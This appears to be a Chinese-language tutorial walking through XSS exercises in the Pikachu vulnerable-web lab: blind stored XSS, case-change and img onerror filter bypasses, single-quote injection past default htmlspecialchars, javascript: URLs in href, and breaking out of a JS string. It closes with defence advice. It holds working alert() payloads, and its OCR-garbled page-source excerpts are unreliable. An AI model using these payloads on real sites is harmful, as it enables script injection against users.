XSS 之盲打
场景:
XSS盲打
XSS
请在下面输入你对"锅盖头"这种发型的看法:
我们将会随机抽出一名送出麻港一日游
你的大名:
提交
一个留言板,只有后台才能看见前端存在的内容,从前端无法确定是否存在XSS漏洞,假设存在XSS漏洞,直接往里输入 XSS 代码,称为盲打。
不论3721!,直接往里面插入XSS代码,然后等待,可能会有惊喜!!
被动等待.....(当后台管理员登陆时就可能被攻击)
1 构造payload
<script>alert("attack!")</script>
xSS>XSS盲打
请在下面输入你对"锅盖头"这种发型的看法:
我们将会随机抽出一名送出麻港一日游
xSSscriptalert"attack!"
</script
你的大名:
XXX
提交
提交后,模拟管理员登录后台
2 模拟管理员登录后台
xss日打
你已经成功登录留言板后台,出费陆
用户反馈的意见列表:
编号
内客
操作
时间
姓名
xSS
2021-06-160357:48
127.0.0.1
ottack!
瑜定
存在XSS漏洞,并且也是存储型XSS
XSS 之过滤
1 随便输入内容,然后输入特殊字符('"<>)
127.0.0.1/pikachu/vul/xss/xss01.php?message
哈哈哈submit-submit
0
常用网址
京东商城
东习平台pika-pika-
xSS>xSS之过滤
阁下,请问你觉得人生苦短吗?
submit
别说这些哈哈哈"
约话,不要怕就是干!
"<>&bmit-submit
127.0.0.1/pikachu/vul/xss/xss01.php?messaje"
京东商城
常用网址
习平台pika-pika-
xSS>XSs之过滤
阁下,请问你觉得人生苦短吗?
submit
制说这些"的话,不要怕就是干!
2 输入 payload
<script>alert("attack!")</script>
127.0.01/pkachuvl/s从ss0.ppme
京东商城
常用网址
羽平台pika-pika-
xSS之过滤
XSS
阁下,请问你觉得人生苦短吗?
submit
别说这些>的话,不要怕就是干!
什么也没发生,应该是过滤掉一些内容
3 尝试绕过
改动大小写
<SCRIPT>alert("attack!")</SCRIPT>
127.0.0.1
attack!
确定
img 中 onerror事件
<img src="x" onerror="alert('error!')">
127.0.0.1
error!
确定
说明只是过滤了大小写,当然XSS绕过姿势不止一种,师傅们自行扩展
XSS 之htmlspecialchars
htmlspecialchars函数概览
调用该函数进行转换的字符如下
预定义的字符是:
口&(和号)
成为&
口(双引号)成为"
口(单引号)成为'
口<(小于)成为<
口>(大于)成为>
函数转换的类型
可用的引号类型:
ENT_COMPAT-默认.仅编码双引号.
ENTQUOTES-编码双引号和单引号
ENT_NOQUOTES-不编码任何引号.
如果使用该函数对用户的输入进行处理,而保持默认转换类型可能会出现 XSS漏洞
(仅编码双引号)
1 输入 '"<>111 查看源码
127.0.0.1/pikachu/vul/xss/xss02.phpmesqe"11uiubmit
常用网址
京东商城
习平台pika-pika-
xss>XSS之htMLSPECIALCHarS
人生之所有苦短,是因为你的xss学习的还不够好
submit
你的输入已经被记录:
出生111
<divclass-
page-content'?'
<divid-"xssrmain">
lass"xssr_title>人生之所有苦短,是因为你的xss学习的还不够好<)
<formmethod-get"
inputclas
tclass-"xssr_intype"text"name-"message>
name-"submit"value-"submit">
<inputclass-"xssr_submit"
it"type-"submit'
</form
class'notice>你的输入已经被记录
/div>
href-"'":lt:gt:111x":t:>:111/a>
Ka
<div><!--/.page-content-->
Qdiv
divx!--/main-content-->
从源代码可以看出,单引号未进行过滤,只是过滤了双引号
2 输入 payload
#' onclick='alert("aaa")
2
192166154.13/PkhuwuXsxmm
常用网址
京东商城
的平台pika-pika-
xsS>xSS之htmlspecialchars
人生之所有苦短,是因为你的xss学习的还不够好
submit
你的输入已经被记录:
#onclick-'alert"aaa")
192.168.154.135
aaa
确定
XSS 之href输出
javascript 伪协议
语法
javascript:someScript;someScript 是一个或多个使用 ; 分隔的 JavaScript 语句
实例
<a href="javascript:alert('JavaScript Link!');">JavaScript Link</a>
XSS href 输出
- 输出在 a 标签的 href 属性中,可以使用 JavaScript 协议来执行js
- 防御:只允许http,https,其次再进行 htmlspecialchars 处理
1 根据提示输入网址,查看源码
xSS>XSS之href输出
请输入一个你常用的网站url地址,我就知道你是什么人
submit
阁下自己输入的url还请自己点一下吧
div>
<divclass-"page-content
Kdivid-"xssr_main'>
请输入一个你常用的网站ur1地址,我就知道你是什么人/>
<pclass-"xssr-title">请轴
<form
nmethod-"get'>
"xssr-in"type-"text"name-"message">
<input
class-"x
<input
class-xssr_submtytype-"submityname-"submityvalue"submit
Kform>
阁下自己输入的url还请自己点一下吧/a>
Kdiv>
hrefhttps://ww.baidu.com
/divX!--/.page-content--
div>
</divX<!--/,main-content-->
2 点击链接跳转至百度
Baidu百度
百度一下
2 使用 js协议 构造payload
javascript:alert("aaa")
ass
page-content'
(divid-"xssrmain'>
pclass-xssr-title请输入一个你常用的网站.1地址,我就知道你是什么人
<formmethod-'get
inputclassxssr_intype-textname-"message"
inputcassxssrsubmitytypesubmtynamesubmtluesubmt
form
hef-javascript:alertBuot;acuot阁下自己输入的1还请自己点一下吧/a)
div>
K/div>!--/.page-content-->
div>
XSS之 js输出
1 输入aaa,查看源码
905
906<script>
$ms-'aaa'
907
if(Sms.1engthl-o)
908
if($ms'tmac)f
909
$(#fromjs').text(tmac确实厉害,看那小眼神..)
910
e1se
911
912/
a1ert($ms):
$C#fromjs).text(无论如何不要放弃心中所爱..')
913
914
915
7
916
917
918
919
script
920
这里发现输入的内容被放入到了js中
2 构造payload
';alert("attack xss")</script>
127.0.0.1
jsxss
确定
XSS 防范:输入做过滤,输出做转义
结语:
本人菜弟弟一个,大佬勿喷,谢谢,如果觉得个人写的还凑活,三连(点赞+关注+转发)一哈吧💪谢谢各位师傅,祝各位师傅玩的开心😊